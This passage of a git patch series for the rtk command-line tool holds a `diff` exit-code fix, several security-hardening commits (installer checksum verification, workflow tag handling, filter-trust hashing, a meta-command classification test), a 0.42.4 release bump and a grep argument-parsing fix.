assert!(has_format_flag(&["--files-with-matches"])); } #[test] fn test_format_flag_detects_files_without_match() { - assert!(has_format_flag(&["-L".to_string()])); - assert!(has_format_flag(&["--files-without-match".to_string()])); + assert!(has_format_flag(&["-L"])); + assert!(has_format_flag(&["--files-without-match"])); } #[test] fn test_format_flag_detects_only_matching() { - assert!(has_format_flag(&["-o".to_string()])); - assert!(has_format_flag(&["--only-matching".to_string()])); + assert!(has_format_flag(&["-o"])); + assert!(has_format_flag(&["--only-matching"])); } #[test] fn test_format_flag_detects_null() { - assert!(has_format_flag(&["-Z".to_string()])); - assert!(has_format_flag(&["--null".to_string()])); + assert!(has_format_flag(&["-Z"])); + assert!(has_format_flag(&["--null"])); } #[test] fn test_format_flag_ignores_normal_flags() { - assert!(!has_format_flag(&[ - "-i".to_string(), - "-w".to_string(), - "-A".to_string(), - "3".to_string(), - ])); + assert!(!has_format_flag(&["-i", "-w", "-A", "3"])); } // Verify line numbers are always enabled in rg invocation (grep_cmd.rs:24). From c126d4594b4af1c59b8163178923207d4e9b6de4 Mon Sep 17 00:00:00 2001 From: Husam Date: Thu, 11 Jun 2026 17:47:08 +0300 Subject: [PATCH 210/257] fix(diff): report modified-only diffs and follow diff exit convention rtk diff treated files whose changes were all classified as modified (similar lines, e.g. "a: 1" vs "a: 2" in YAML/JSON) as identical, because the identical check only looked at added/removed counts. Report any non-empty change set as a difference, and exit 1 when files differ per diff convention (0 when identical). Fixes #2364 --- README.md | 2 +- scripts/test-all.sh | 4 +- src/cmds/git/diff_cmd.rs | 103 ++++++++++++++++++++++++++++++--------- src/main.rs | 4 +- 4 files changed, 86 insertions(+), 27 deletions(-) diff --git a/README.md b/README.md index d91e21b246..4e224cbe57 100644 --- a/README.md +++ b/README.md @@ -150,7 +150,7 @@ rtk read file.rs -l aggressive # Signatures only (strips bodies) rtk smart file.rs # 2-line heuristic code summary rtk find "*.rs" . # Compact find results rtk grep "pattern" . # Grouped search results -rtk diff file1 file2 # Condensed diff +rtk diff file1 file2 # Condensed diff (exit 1 if files differ) ``` ### Git diff --git a/scripts/test-all.sh b/scripts/test-all.sh index f0e2c06b14..08a8df7a59 100755 --- a/scripts/test-all.sh +++ b/scripts/test-all.sh @@ -527,7 +527,9 @@ assert_ok "rtk discover" rtk discover section "Diff" -assert_ok "rtk diff two files" rtk diff Cargo.toml LICENSE +assert_ok "rtk diff identical files" rtk diff Cargo.toml Cargo.toml +assert_fails "rtk diff differing files" rtk diff Cargo.toml LICENSE +assert_contains "rtk diff shows changes" "added" rtk diff Cargo.toml LICENSE # ── 37. Wc ──────────────────────────────────────────── diff --git a/src/cmds/git/diff_cmd.rs b/src/cmds/git/diff_cmd.rs index 59c95b100b..4f7ae1609e 100644 --- a/src/cmds/git/diff_cmd.rs +++ b/src/cmds/git/diff_cmd.rs @@ -5,8 +5,9 @@ use anyhow::Result; use std::fs; use std::path::Path; -/// Ultra-condensed diff - only changed lines, no context -pub fn run(file1: &Path, file2: &Path, verbose: u8) -> Result<()> { +/// Ultra-condensed diff - only changed lines, no context. +/// Returns the diff-convention exit code: 0 if identical, 1 if files differ. +pub fn run(file1: &Path, file2: &Path, verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); if verbose > 0 { @@ -17,39 +18,37 @@ pub fn run(file1: &Path, file2: &Path, verbose: u8) -> Result<()> { let content2 = fs::read_to_string(file2)?; let raw = format!("{}\n---\n{}", content1, content2); + let (rtk, exit_code) = render_file_diff(file1, file2, &content1, &content2); + + print!("{}", rtk); + timer.track( + &format!("diff {} {}", file1.display(), file2.display()), + "rtk diff", + &raw, + &rtk, + ); + Ok(exit_code) +} + +/// Renders the condensed file comparison and returns it with the +/// diff-convention exit code (0 = identical, 1 = differences found). +fn render_file_diff(file1: &Path, file2: &Path, content1: &str, content2: &str) -> (String, i32) { let lines1: Vec<&str> = content1.lines().collect(); let lines2: Vec<&str> = content2.lines().collect(); let diff = compute_diff(&lines1, &lines2); - let mut rtk = String::new(); - if diff.added == 0 && diff.removed == 0 { - rtk.push_str("[ok] Files are identical"); - println!("{}", rtk); - timer.track( - &format!("diff {} {}", file1.display(), file2.display()), - "rtk diff", - &raw, - &rtk, - ); - return Ok(()); + if diff.changes.is_empty() { + return ("[ok] Files are identical\n".to_string(), 0); } + let mut rtk = String::new(); rtk.push_str(&format!("{} → {}\n", file1.display(), file2.display())); rtk.push_str(&format!( " +{} added, -{} removed, ~{} modified\n\n", diff.added, diff.removed, diff.modified )); - rtk.push_str(&format_diff_changes(&diff)); - - print!("{}", rtk); - timer.track( - &format!("diff {} {}", file1.display(), file2.display()), - "rtk diff", - &raw, - &rtk, - ); - Ok(()) + (rtk, 1) } /// Run diff from stdin (piped command output) @@ -307,6 +306,64 @@ mod tests { assert!(result.changes.is_empty()); } + // --- render_file_diff (issue #2364 regression) --- + + #[test] + fn test_render_modified_only_yaml_not_identical() { + // "a: 1" vs "a: 2" is classified as modified (similarity > 0.5); + // the identical check must not ignore modified-only diffs. + let (out, code) = render_file_diff( + Path::new("one.yaml"), + Path::new("two.yaml"), + "a: 1\n", + "a: 2\n", + ); + assert!( + !out.contains("identical"), + "modified-only diff reported as identical:\n{}", + out + ); + assert!(out.contains("~1 modified")); + assert!(out.contains("a: 1")); + assert!(out.contains("a: 2")); + assert_eq!(code, 1, "differing files must exit 1 (diff convention)"); + } + + #[test] + fn test_render_modified_only_json_not_identical() { + let (out, code) = render_file_diff( + Path::new("j1.json"), + Path::new("j2.json"), + "{\"a\": 1}\n", + "{\"a\": 2}\n", + ); + assert!( + !out.contains("identical"), + "modified-only diff reported as identical:\n{}", + out + ); + assert_eq!(code, 1); + } + + #[test] + fn test_render_identical_files_exit_zero() { + let (out, code) = render_file_diff( + Path::new("a.yaml"), + Path::new("b.yaml"), + "a: 1\nb: 2\n", + "a: 1\nb: 2\n", + ); + assert!(out.contains("[ok] Files are identical")); + assert_eq!(code, 0); + } + + #[test] + fn test_render_added_removed_exit_one() { + let (out, code) = render_file_diff(Path::new("t1.txt"), Path::new("t2.txt"), "x\n", "y\n"); + assert!(out.contains("+1 added, -1 removed")); + assert_eq!(code, 1); + } + // --- condense_unified_diff --- #[test] diff --git a/src/main.rs b/src/main.rs index a5bde544a3..6da0a0ab27 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1707,11 +1707,11 @@ fn run_cli() -> Result { Commands::Diff { file1, file2 } => { if let Some(f2) = file2 { - diff_cmd::run(&file1, &f2, cli.verbose)?; + diff_cmd::run(&file1, &f2, cli.verbose)? } else { diff_cmd::run_stdin(cli.verbose)?; + 0 } - 0 } Commands::Log { file } => { From 9cc4937dac3ba9aa27147699afe66a2842e7bffc Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 12 Jun 2026 14:01:04 +0200 Subject: [PATCH 211/257] fix(security): harden installer checksum, filter-trust, meta-command fallthrough --- .github/workflows/release.yml | 21 +++++++++++----- install.sh | 40 ++++++++++++++++++++++++++++--- src/core/toml_filter.rs | 14 ++++++----- src/hooks/integrity.rs | 11 ++++++--- src/hooks/trust.rs | 45 ++++++++++++++++++++++++++--------- src/main.rs | 5 ++++ 6 files changed, 107 insertions(+), 29 deletions(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index d18a3b357f..a715976802 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -182,10 +182,13 @@ jobs: - name: Get version id: version + env: + INPUT_TAG: ${{ inputs.tag }} + RELEASE_TAG: ${{ github.event.release.tag_name }} run: | - TAG="${{ inputs.tag }}" + TAG="$INPUT_TAG" if [ -z "$TAG" ]; then - TAG="${{ github.event.release.tag_name }}" + TAG="$RELEASE_TAG" fi echo "version=$TAG" >> $GITHUB_OUTPUT @@ -225,10 +228,13 @@ jobs: steps: - name: Get version id: version + env: + INPUT_TAG: ${{ inputs.tag }} + RELEASE_TAG: ${{ github.event.release.tag_name }} run: | - TAG="${{ inputs.tag }}" + TAG="$INPUT_TAG" if [ -z "$TAG" ]; then - TAG="${{ github.event.release.tag_name }}" + TAG="$RELEASE_TAG" fi echo "tag=$TAG" >> $GITHUB_OUTPUT @@ -259,10 +265,13 @@ jobs: steps: - name: Get version id: version + env: + INPUT_TAG: ${{ inputs.tag }} + RELEASE_TAG: ${{ github.event.release.tag_name }} run: | - TAG="${{ inputs.tag }}" + TAG="$INPUT_TAG" if [ -z "$TAG" ]; then - TAG="${{ github.event.release.tag_name }}" + TAG="$RELEASE_TAG" fi VERSION="${TAG#v}" echo "tag=$TAG" >> $GITHUB_OUTPUT diff --git a/install.sh b/install.sh index ab6afb18f8..62f9506e5a 100644 --- a/install.sh +++ b/install.sh @@ -90,17 +90,47 @@ install() { info "Version: $VERSION" DOWNLOAD_URL="https://github.com/${REPO}/releases/download/${VERSION}/${BINARY_NAME}-${TARGET}.tar.gz" + CHECKSUMS_URL="https://github.com/${REPO}/releases/download/${VERSION}/checksums.txt" TEMP_DIR=$(mktemp -d) ARCHIVE="${TEMP_DIR}/${BINARY_NAME}.tar.gz" + CHECKSUMS="${TEMP_DIR}/checksums.txt" + ASSET_NAME="${BINARY_NAME}-${TARGET}.tar.gz" info "Downloading from: $DOWNLOAD_URL" if ! curl -fsSL "$DOWNLOAD_URL" -o "$ARCHIVE"; then error "Failed to download binary" fi + info "Downloading checksums..." + if ! curl -fsSL "$CHECKSUMS_URL" -o "$CHECKSUMS"; then + error "Failed to download checksums.txt — refusing to install unverified binary (set RTK_SKIP_CHECKSUM=1 to bypass at your own risk)" + fi + + if [ "${RTK_SKIP_CHECKSUM:-0}" = "1" ]; then + warn "RTK_SKIP_CHECKSUM=1 set — SKIPPING checksum verification (NOT RECOMMENDED)" + else + info "Verifying SHA-256 checksum..." + EXPECTED=$(grep "[[:space:]]${ASSET_NAME}\$" "$CHECKSUMS" | awk '{print $1}') + if [ -z "$EXPECTED" ]; then + error "checksum for ${ASSET_NAME} not found in checksums.txt — refusing to install" + fi + # sha256sum (Linux GNU) vs shasum -a 256 (macOS) — prefer whichever is available. + if command -v sha256sum >/dev/null 2>&1; then + ACTUAL=$(sha256sum "$ARCHIVE" | awk '{print $1}') + elif command -v shasum >/dev/null 2>&1; then + ACTUAL=$(shasum -a 256 "$ARCHIVE" | awk '{print $1}') + else + error "Neither sha256sum nor shasum available — cannot verify checksum" + fi + if [ "$EXPECTED" != "$ACTUAL" ]; then + error "checksum mismatch! expected=${EXPECTED} actual=${ACTUAL} — refusing to install" + fi + info "Checksum verified." + fi + # Verify archive contents before extraction (CWE-22 path traversal). # Reject any entry with an absolute path or a ".." component. - info "Verifying archive..." + info "Verifying archive contents..." if tar -tzf "$ARCHIVE" | grep -qE '^/|(^|/)\.\.(/|$)'; then error "Archive contains unsafe paths (absolute or directory traversal) — refusing to extract" fi @@ -121,9 +151,13 @@ install() { # Verify installation verify() { - if command -v "$BINARY_NAME" >/dev/null 2>&1; then - info "Verification: $($BINARY_NAME --version)" + INSTALLED_BIN="${INSTALL_DIR}/${BINARY_NAME}" + if [ -x "$INSTALLED_BIN" ]; then + info "Verification: $("$INSTALLED_BIN" --version)" else + error "Binary not found at expected location: $INSTALLED_BIN" + fi + if ! command -v "$BINARY_NAME" >/dev/null 2>&1; then warn "Binary installed but not in PATH. Add to your shell profile:" warn " export PATH=\"\$HOME/.local/bin:\$PATH\"" fi diff --git a/src/core/toml_filter.rs b/src/core/toml_filter.rs index 74b61026d5..f752a21690 100644 --- a/src/core/toml_filter.rs +++ b/src/core/toml_filter.rs @@ -191,13 +191,14 @@ impl TomlFilterRegistry { // Priority 1: project-local .rtk/filters.toml (trust-gated) let project_filter_path = std::path::Path::new(".rtk/filters.toml"); if project_filter_path.exists() { - let trust_status = crate::hooks::trust::check_trust(project_filter_path) - .unwrap_or(crate::hooks::trust::TrustStatus::Untrusted); + let (trust_status, verified_content) = + crate::hooks::trust::check_trust_with_content(project_filter_path) + .unwrap_or((crate::hooks::trust::TrustStatus::Untrusted, None)); match trust_status { crate::hooks::trust::TrustStatus::Trusted | crate::hooks::trust::TrustStatus::EnvOverride => { - if let Ok(content) = std::fs::read_to_string(project_filter_path) { + if let Some(content) = verified_content { match Self::parse_and_compile(&content, "project") { Ok(f) => filters.extend(f), Err(e) => eprintln!("[rtk] warning: .rtk/filters.toml: {}", e), @@ -559,12 +560,13 @@ pub fn run_filter_tests(filter_name_opt: Option<&str>) -> VerifyResults { // Trust-gated: only verify project-local filters if trusted (SA-2025-RTK-002) let project_path = std::path::Path::new(".rtk/filters.toml"); if project_path.exists() { - let trust_status = crate::hooks::trust::check_trust(project_path) - .unwrap_or(crate::hooks::trust::TrustStatus::Untrusted); + let (trust_status, verified_content) = + crate::hooks::trust::check_trust_with_content(project_path) + .unwrap_or((crate::hooks::trust::TrustStatus::Untrusted, None)); match trust_status { crate::hooks::trust::TrustStatus::Trusted | crate::hooks::trust::TrustStatus::EnvOverride => { - if let Ok(content) = std::fs::read_to_string(project_path) { + if let Some(content) = verified_content { collect_test_outcomes( &content, filter_name_opt, diff --git a/src/hooks/integrity.rs b/src/hooks/integrity.rs index fc991dc060..b2d88e51f1 100644 --- a/src/hooks/integrity.rs +++ b/src/hooks/integrity.rs @@ -37,13 +37,18 @@ pub enum IntegrityStatus { OrphanedHash, } -/// Compute SHA-256 hash of a file, returned as lowercase hex +/// Compute SHA-256 hash of a file, returned as lowercase hex. pub fn compute_hash(path: &Path) -> Result { let content = fs::read(path).with_context(|| format!("Failed to read file: {}", path.display()))?; + Ok(compute_hash_bytes(&content)) +} + +/// Compute SHA-256 of an in-memory byte buffer, returned as lowercase hex. +pub fn compute_hash_bytes(content: &[u8]) -> String { let mut hasher = Sha256::new(); - hasher.update(&content); - Ok(format!("{:x}", hasher.finalize())) + hasher.update(content); + format!("{:x}", hasher.finalize()) } /// Derive the hash file path from the hook path diff --git a/src/hooks/trust.rs b/src/hooks/trust.rs index f93fe6b732..2570555fd1 100644 --- a/src/hooks/trust.rs +++ b/src/hooks/trust.rs @@ -93,9 +93,14 @@ fn canonical_key(filter_path: &Path) -> Result { /// /// Priority: env var > hash match > untrusted. /// All errors are soft — if anything fails, returns Untrusted (fail-secure). +#[cfg_attr(not(test), allow(dead_code))] pub fn check_trust(filter_path: &Path) -> Result { - // Fast path: env var override for CI pipelines only. - // Requires a known CI env var to be set to prevent .envrc injection attacks. + check_trust_with_content(filter_path).map(|(status, _)| status) +} + +/// Reads the file once, hashes those bytes, and returns the trust status with +/// the verified content. Content is `Some` only for `Trusted` / `EnvOverride`. +pub fn check_trust_with_content(filter_path: &Path) -> Result<(TrustStatus, Option)> { if std::env::var("RTK_TRUST_PROJECT_FILTERS").as_deref() == Ok("1") { let in_ci = std::env::var("CI").is_ok() || std::env::var("GITHUB_ACTIONS").is_ok() @@ -103,13 +108,20 @@ pub fn check_trust(filter_path: &Path) -> Result { || std::env::var("JENKINS_URL").is_ok() || std::env::var("BUILDKITE").is_ok(); if in_ci { - return Ok(TrustStatus::EnvOverride); + let content = std::fs::read_to_string(filter_path) + .with_context(|| format!("Failed to read filter: {}", filter_path.display()))?; + return Ok((TrustStatus::EnvOverride, Some(content))); } eprintln!( "[rtk] WARNING: RTK_TRUST_PROJECT_FILTERS=1 ignored (CI environment not detected)" ); } + let bytes = match std::fs::read(filter_path) { + Ok(b) => b, + Err(_) => return Ok((TrustStatus::Untrusted, None)), + }; + let key = canonical_key(filter_path)?; let store = match read_store() { Ok(s) => s, @@ -124,19 +136,30 @@ pub fn check_trust(filter_path: &Path) -> Result { let entry = match store.trusted.get(&key) { Some(e) => e, - None => return Ok(TrustStatus::Untrusted), + None => return Ok((TrustStatus::Untrusted, None)), }; - let actual_hash = integrity::compute_hash(filter_path) - .with_context(|| format!("Failed to hash: {}", filter_path.display()))?; + let actual_hash = integrity::compute_hash_bytes(&bytes); if actual_hash == entry.sha256 { - Ok(TrustStatus::Trusted) + match String::from_utf8(bytes) { + Ok(content) => Ok((TrustStatus::Trusted, Some(content))), + Err(_) => { + eprintln!( + "[rtk] WARNING: trusted filter {} is not valid UTF-8 — treating as untrusted", + filter_path.display() + ); + Ok((TrustStatus::Untrusted, None)) + } + } } else { - Ok(TrustStatus::ContentChanged { - expected: entry.sha256.clone(), - actual: actual_hash, - }) + Ok(( + TrustStatus::ContentChanged { + expected: entry.sha256.clone(), + actual: actual_hash, + }, + None, + )) } } diff --git a/src/main.rs b/src/main.rs index a5bde544a3..df38faa5d8 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1133,6 +1133,7 @@ enum GoCommands { /// RTK-only subcommands that should never fall back to raw execution. /// If Clap fails to parse these, show the Clap error directly. +/// When adding a new RTK-only subcommand to `Commands`, add its clap name here. const RTK_META_COMMANDS: &[&str] = &[ "gain", "discover", @@ -1150,6 +1151,10 @@ const RTK_META_COMMANDS: &[&str] = &[ "untrust", "session", "rewrite", + "telemetry", + "smart", + "deps", + "json", ]; fn run_fallback(parse_error: clap::Error) -> Result { From 069a089c409193115b83fd27438d1bd73bf876b0 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 12 Jun 2026 14:56:27 +0200 Subject: [PATCH 212/257] fix(security): harden meta command list check fail in cicd before letting meta command omission reach production --- src/main.rs | 73 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 73 insertions(+) diff --git a/src/main.rs b/src/main.rs index df38faa5d8..1d3804bbf7 100644 --- a/src/main.rs +++ b/src/main.rs @@ -2841,6 +2841,79 @@ mod tests { } } + /// Every subcommand must be in `RTK_META_COMMANDS` (fail closed) or + /// `PASSTHROUGH` (falls through to the real binary). Fails for any new + /// command until it's classified. + #[test] + fn test_every_subcommand_is_classified() { + use clap::CommandFactory; + + const PASSTHROUGH: &[&str] = &[ + "ls", + "tree", + "read", + "git", + "gh", + "glab", + "aws", + "psql", + "pnpm", + "err", + "test", + "env", + "find", + "diff", + "log", + "dotnet", + "docker", + "kubectl", + "summary", + "grep", + "wget", + "wc", + "jest", + "vitest", + "prisma", + "tsc", + "next", + "lint", + "prettier", + "format", + "playwright", + "cargo", + "npm", + "npx", + "curl", + "ruff", + "pytest", + "mypy", + "rake", + "rubocop", + "rspec", + "pip", + "go", + "gt", + "golangci-lint", + "gradlew", + "mvn", + ]; + + let unclassified: Vec = Cli::command() + .get_subcommands() + .map(|c| c.get_name().to_string()) + .filter(|name| { + !RTK_META_COMMANDS.contains(&name.as_str()) && !PASSTHROUGH.contains(&name.as_str()) + }) + .collect(); + + assert!( + unclassified.is_empty(), + "unclassified subcommand(s) {:?}: add to RTK_META_COMMANDS (no system \ + binary) or PASSTHROUGH (wraps a real tool)", + unclassified + ); + } + #[test] fn test_run_command_with_dash_c() { let cli = Cli::try_parse_from(["rtk", "run", "-c", "git status && echo done"]).unwrap(); From f1dc9f05583c34133e7bdd4e1229f6bb6505a8d5 Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Fri, 12 Jun 2026 15:19:00 +0000 Subject: [PATCH 213/257] chore(master): release 0.42.4 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 17 +++++++++++++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 20 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index 0eb1fecef8..3b9f270ecf 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.42.3" + ".": "0.42.4" } diff --git a/CHANGELOG.md b/CHANGELOG.md index f8242b8677..2933768b44 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,23 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.42.4](https://github.com/rtk-ai/rtk/compare/v0.42.3...v0.42.4) (2026-06-12) + + +### Bug Fixes + +* **aws:** preserve values in JSON output for unsupported subcommands ([9574007](https://github.com/rtk-ai/rtk/commit/9574007f77fa7051e93d10c512809e60ed61ac57)) +* **ci:** pin fixture line endings, harden CRLF tests ([be28a51](https://github.com/rtk-ai/rtk/commit/be28a511797fb5214ff0784f57f491d2b7dd0e71)) +* **curl:** passthrough binary downloads to prevent UTF-8 corruption ([#1087](https://github.com/rtk-ai/rtk/issues/1087)) ([35273c2](https://github.com/rtk-ai/rtk/commit/35273c2dc1c94dd93ba97555e72b4e46928574b6)) +* **filters:** remove max_lines cap from helm filter that truncates template output ([63a76de](https://github.com/rtk-ai/rtk/commit/63a76dedff245173a8e9240e09c741552f318de3)) +* **init:** respect CLAUDE_CONFIG_DIR for global paths ([05de9d3](https://github.com/rtk-ai/rtk/commit/05de9d366aff627f044e0a40daf5fcbcf277ea30)), closes [#633](https://github.com/rtk-ai/rtk/issues/633) +* minor print_manual_instructions regression ([6785a6c](https://github.com/rtk-ai/rtk/commit/6785a6c7695d7273e722214a295249a84819b6f0)) +* **mvn:** re-arm failure trail on per-test sublines ([1050cfe](https://github.com/rtk-ai/rtk/commit/1050cfeadcc3fd2b34df3401c6ec3aa09f0cd199)) +* **mvn:** strip post-failure help boilerplate in non-quiet mode ([df76528](https://github.com/rtk-ai/rtk/commit/df76528dd36dba4a58163a4827d34fbb9e7c17ca)) +* **security:** harden installer checksum, filter-trust, meta-command ([769b6ce](https://github.com/rtk-ai/rtk/commit/769b6ce5a44ec696bf40d845a7fea35cdb5f7699)) +* **security:** harden installer checksum, filter-trust, meta-command fallthrough ([9cc4937](https://github.com/rtk-ai/rtk/commit/9cc4937dac3ba9aa27147699afe66a2842e7bffc)) +* **security:** harden meta command list check ([069a089](https://github.com/rtk-ai/rtk/commit/069a089c409193115b83fd27438d1bd73bf876b0)) + ## [0.42.3](https://github.com/rtk-ai/rtk/compare/v0.42.2...v0.42.3) (2026-06-05) diff --git a/Cargo.lock b/Cargo.lock index ccb851f025..b7380ea65e 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.42.3" +version = "0.42.4" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index cf176b5223..8ff5614d17 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.42.3" +version = "0.42.4" edition = "2021" rust-version = "1.91" authors = ["Patrick Szymkowiak"] From b7d93b509e67eee46de3bb518e7ca71429188a4b Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Sun, 14 Jun 2026 11:44:32 +0200 Subject: [PATCH 214/257] fix(grep): left-to-right cluster scan, long value flags, format passthrough MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Five regressions on grep_arg_parsing vs develop: - `-ecarrot` matched "caot" — strip_r was applied to the inline value bytes. Fix: scan cluster left-to-right; stop at first value-taking letter and treat the remainder as the inline value without r/R stripping. - `-g*.rs` glob became `*.s` — same root cause, inline glob value r-stripped. - `--glob '*.md'` took `*.md` as a path — no VALUE_FLAGS_LONG existed; the value token fell through to the positional collector. Fix: add VALUE_FLAGS_LONG covering all rg long flags that take a value. - `--max-count 1 fn file` took `1` as the pattern — same missing long flag. - VALUE_FLAGS_SHORT expanded: add t/T (--type/--type-not), d (--max-depth), M (--max-columns) so inline short forms and space-separated forms parse correctly without mis-routing values to patterns or paths. - --regexp (long form of -e) now routes to patterns like -e does. - has_format_flag: add --count-matches, --json, --passthru, --files so these output-format modes get passthrough treatment instead of silent "0 matches in 0 files". 2183 tests pass. Co-Authored-By: Claude Sonnet 4.6 --- src/cmds/system/grep_cmd.rs | 371 ++++++++++++++++++++++++++++-------- 1 file changed, 292 insertions(+), 79 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index 98433dde5e..e329472508 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -8,48 +8,67 @@ use anyhow::{Context, Result}; use regex::Regex; use std::collections::HashMap; -/// Short flags (exact 2-char form `-X`) that consume one following token as their value. -/// `-e` is handled separately — its value goes into `patterns`, not `flags`. -/// Deliberately small: unknown flags pass through unchanged. The failure mode -/// for a missing entry is a visible wrong result, not a silent corruption. -const VALUE_FLAGS_SHORT: &[u8] = b"ABCgfjm"; - -/// Normalise short flags arg for rg forwarding. -/// Returns `None` when the entire flag is stripped (grep-ism recursive flags). -fn strip_r(arg: &str) -> Option { - match arg - .chars() - .filter(|&c| c != 'r' && c != 'R') - .collect::() - { - s if !s.is_empty() => Some(s), - _ => None, - } -} - -/// Normalise long flag arg for rg forwarding. -/// Returns `None` when the flag should be dropped (grep-ism recursive flags). +/// Short single-char flags that consume one following token (or inline remainder) +/// as their value. `-e` is handled separately — its value goes to `patterns`. +/// Includes all rg short flags that take a value argument except `-e` and `-r` +/// (stripped) and `-E` (dialect, left to #2138). Failure mode for a missing +/// entry: the value becomes a positional (visible wrong result, not silent). +const VALUE_FLAGS_SHORT: &[u8] = b"ABCgfjmtTdM"; + +/// Long flags that consume the NEXT token as their value (space-separated form). +/// Inline `=` form (`--flag=value`) is one token and passes through unchanged. +/// `--regexp` is handled separately (its value goes to `patterns`). +/// `--encoding` value is consumed correctly here; dialect routing is #2138's job. +const VALUE_FLAGS_LONG: &[&str] = &[ + "--file", + "--glob", + "--iglob", + "--type", + "--type-not", + "--type-add", + "--type-clear", + "--max-count", + "--max-depth", + "--max-filesize", + "--max-columns", + "--after-context", + "--before-context", + "--context", + "--encoding", + "--engine", + "--sort", + "--sortr", + "--threads", + "--replace", + "--pre", + "--pre-glob", + "--path-separator", + "--ignore-file", + "--field-match-separator", + "--field-context-separator", + "--context-separator", + "--color", + "--colors", +]; + +/// Drop `--recursive` (grep-ism); pass all other long flags through unchanged. fn strip_recursive(arg: &str) -> Option { match arg { - // Drop recursive flags that would change semantics in rg. "--recursive" => None, - // Everything else pass through unchanged. _ => Some(arg.to_string()), } } /// Extracts `(patterns, paths, flags)` from the raw trailing args. /// -/// - `patterns`: first non-flag positional prepended to any `-e` values. -/// All patterns are passed to rg as `-e` flags, so positional and `-e` are -/// interchangeable from rg's perspective. Empty → caller should error. -/// - `paths`: all subsequent non-flag positionals. Empty → caller defaults to `["."]`. -/// - `flags`: other flags forwarded to rg (recursive flags already stripped). +/// - `patterns`: positional pattern + all `-e`/`--regexp` values. Empty → error. +/// - `paths`: subsequent non-flag positionals. Empty → caller defaults to `["."]`. +/// - `flags`: other flags forwarded to rg (`-r`/`-R`/`--recursive` stripped). /// -/// Value-taking short flags (see `VALUE_FLAGS_SHORT`) consume the next token -/// as their value so it is not mistaken for the pattern. Combined clusters like -/// `-rn` have `r`/`R` stripped before forwarding. `--` marks everything after -/// it as positional even if flag-shaped. +/// Short clusters are scanned left-to-right; the first value-taking letter +/// terminates the cluster — everything after it is its inline value, not a +/// separate flag. Long value-taking flags consume the next token. `--` marks +/// everything after it as positional. fn extract_pattern_path>(args: &[T]) -> (Vec, Vec, Vec) { let mut e_patterns: Vec = Vec::new(); let mut positionals: Vec = Vec::new(); @@ -72,8 +91,29 @@ fn extract_pattern_path>(args: &[T]) -> (Vec, Vec, continue; } - // Long flags (--foo, --recursive): strip or pass through unchanged if arg.starts_with("--") { + // --regexp is the long form of -e: value goes to patterns. + if arg == "--regexp" { + if i + 1 < args.len() { + e_patterns.push(args[i + 1].as_ref().to_string()); + i += 2; + } else { + i += 1; + } + continue; + } + // Other long value-taking flags: consume next token as value. + if VALUE_FLAGS_LONG.contains(&arg) { + flags.push(arg.to_string()); + if i + 1 < args.len() { + flags.push(args[i + 1].as_ref().to_string()); + i += 2; + } else { + i += 1; + } + continue; + } + // Drop --recursive; pass everything else through. if let Some(cleaned) = strip_recursive(arg) { flags.push(cleaned); } @@ -83,42 +123,56 @@ fn extract_pattern_path>(args: &[T]) -> (Vec, Vec, match arg.strip_prefix('-') { Some(rest) if !rest.is_empty() => { - let last = *rest.as_bytes().last().unwrap(); - let last_is_e = last == b'e'; - let last_takes_value = last_is_e || VALUE_FLAGS_SHORT.contains(&last); - - if last_takes_value { - // Emit cleaned prefix (everything before last char, r/R stripped) - if let Some(prefix) = strip_r(&rest[..rest.len() - 1]) { - flags.push(format!("-{}", prefix)); + // Left-to-right scan: r/R stripped, first value-taking char terminates. + let bytes = rest.as_bytes(); + let mut bool_acc = String::new(); + let mut consumed_value = false; + let mut j = 0; + while j < bytes.len() { + let ch = bytes[j]; + if ch == b'r' || ch == b'R' { + j += 1; + continue; } - - let value = if i + 1 < args.len() { - let v = args[i + 1].as_ref().to_string(); - i += 2; - Some(v) - } else { - i += 1; - None - }; - - if last_is_e { - if let Some(v) = value { - e_patterns.push(v); - } else { - // -e without a value: treat "e" as a normal flag to avoid losing the pattern. - flags.push("-e".to_string()); + let is_e = ch == b'e'; + if is_e || VALUE_FLAGS_SHORT.contains(&ch) { + if !bool_acc.is_empty() { + flags.push(format!("-{}", bool_acc)); } - } else { - flags.push(format!("-{}", last as char)); - if let Some(v) = value { - flags.push(v); + // Inline value = bytes after this char in the cluster. + let inline = std::str::from_utf8(&bytes[j + 1..]).unwrap_or(""); + if is_e { + if !inline.is_empty() { + e_patterns.push(inline.to_string()); + i += 1; + } else if i + 1 < args.len() { + e_patterns.push(args[i + 1].as_ref().to_string()); + i += 2; + } else { + flags.push("-e".to_string()); + i += 1; + } + } else { + flags.push(format!("-{}", ch as char)); + if !inline.is_empty() { + flags.push(inline.to_string()); + i += 1; + } else if i + 1 < args.len() { + flags.push(args[i + 1].as_ref().to_string()); + i += 2; + } else { + i += 